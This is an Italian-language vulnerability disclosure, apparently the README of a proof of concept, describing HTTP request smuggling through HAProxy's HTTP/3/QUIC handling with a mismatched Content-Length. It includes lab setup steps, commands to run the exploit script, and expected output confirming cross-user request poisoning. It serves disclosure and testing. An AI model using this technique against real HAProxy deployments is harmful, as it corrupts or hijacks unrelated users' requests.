
Un pacchetto QUIC di zero byte è sufficiente per desincronizzare il connection pool di backend di HAProxy e introdurre richieste HTTP attraverso utenti non correlati — anche utenti su un protocollo frontend completamente diverso.
Post completo qui : https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
Una vulnerabilità nell'implementazione HTTP/3 di HAProxy consente a un attaccante di inviare una richiesta HTTP con un header Content-Length che non corrisponde alla dimensione effettiva del body. HAProxy inoltra questa richiesta malformata al backend tramite HTTP/1.1 con il Content-Length dichiarato ma zero byte di body. Quando il backend invia una risposta anticipata (es. redirect 301) e scarica il body pendente dalla connessione TCP, consuma byte appartenenti alla successiva richiesta HTTP su quella connessione — che potrebbe provenire da un utente diverso.
Ciò comporta HTTP request smuggling tra utenti tramite il connection pool del backend di HAProxy.
Versioni interessate: HAProxy con supporto QUIC/H3 (USE_QUIC=1). Testato su HAProxy 3.0.18.
Configurazione richiesta: http-reuse always (non predefinita, ma comune in produzione)
Docker Compose con 3 servizi:
http-reuse always)autoindex on sulla directory /photos, /status restituisce 200# 1. Avvia il lab (la build di HAProxy richiede ~10 min la prima volta)
cd poc/
docker compose up -d --build
# 2. Esegui il PoC in modalità continua
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. Da un browser, naviga su https://<host>:10002/status
# (accetta il certificato self-signed, usa --ignore-certificate-errors in Chrome)
# Aggiorna ripetutamente. ~50% delle risposte saranno 400 Bad Request.
# 4. Ferma il PoC (Ctrl+C). Tutte le risposte del browser tornano alla normalità (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
Output atteso:
[1] Invio della richiesta poison (H3/QUIC)...
-> 301 ricevuto. Connessione backend nel pool con body pendente da scaricare.
[2] Attesa di 0.5s affinché HAProxy inserisca la connessione nel pool...
[3] Invio della richiesta victim GET /status da una connessione QUIC SEPARATA...
-> Risposta: HTTP 400
[!] SMUGGLING CONFERMATO
[!] La victim su connessione separata ha ricevuto 400 invece di 200
[!] Il backend ha interpretato la richiesta della victim come body del POST poison